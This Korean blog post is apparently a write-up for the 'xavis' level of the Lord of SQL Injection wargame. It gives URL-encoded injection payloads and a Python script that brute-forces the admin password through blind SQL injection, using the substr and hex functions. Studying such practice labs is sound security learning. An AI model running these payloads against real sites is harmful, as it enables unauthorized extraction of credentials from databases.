19. LOS - XAVIS

2021. 1. 31. 22:41WarGame/LOS

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20id%20=%20%27admin%27%20and%20length(pw)%20=%2012--%20%20-\

입력하게 되면 12라는 길이를 알 수 있습니다.

평소에는8이였는데 12? 라고 하니까 뭔가 조금 이상한데

일단 쿼리는 맞으니까 계속 이어나갔습니다.

기존과 동일하게 substr함수를 활용해서 문자열을 맞추어나갔는데

쿼리를

URL = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or id = 'admin' and substr(pw,"+str(i)+",1) = '" + str(j) + "'-- -"

이렇게 작성하니 아무것도 인식되지 않아서
12자리가 수상해서 혹시 한글이 아닐까 생각해 hex를 입력해보았습니다.

URL = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or id = 'admin' and substr(hex(pw),"+str(i)+",1) = '" + str(j) + "'-- -"

로 payload를 돌리니 정상적으로 동작했습니다.

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
print(num_alpa)
for i in range(1, 13) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or id = 'admin' and substr(hex(pw),"+str(i)+",1) = \'" + str(j) + "\'-- -"
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text :
            print(URL)
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

처음에 이렇게 돌렸는데

이렇게 나오고

정상적으로 풀리지 않자 0000이 수상하게 여겨졌고, 한글 인코딩을 생각해서 24자리로 늘려서 봤습니다.

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': '41dujejs6ln5lnj8ni9p7ik5bb'}
#https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or%20substr(pw,1,1)%20=%20%22a%22--%20-
key = ""
print(num_alpa)
for i in range(1, 25) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=12%27%20or id = 'admin' and substr(hex(pw),"+str(i)+",1) = \'" + str(j) + "\'-- -"
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text :
            print(URL)
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

 

이렇게 하니 정상적으로 24자리가 구해졌고 8자리씩 나누어서 한글로 바꾸었습니다.

 

 

python 2.7에서 변환을 시도했지만, 한글로 안바뀌어서 3으로 끝냈습니다.

 

 

(grin)

곧 올클이네용

 

'WarGame > LOS' 카테고리의 다른 글

21. LOS - IRON_GOLEN  (0) 2021.02.02
20. LOS - DRAGON  (0) 2021.02.01
18. LOS - NIGHTMARE  (0) 2021.01.30
17. LOS - zombie_assassin  (0) 2021.01.30
16. LOS - succubus  (0) 2021.01.29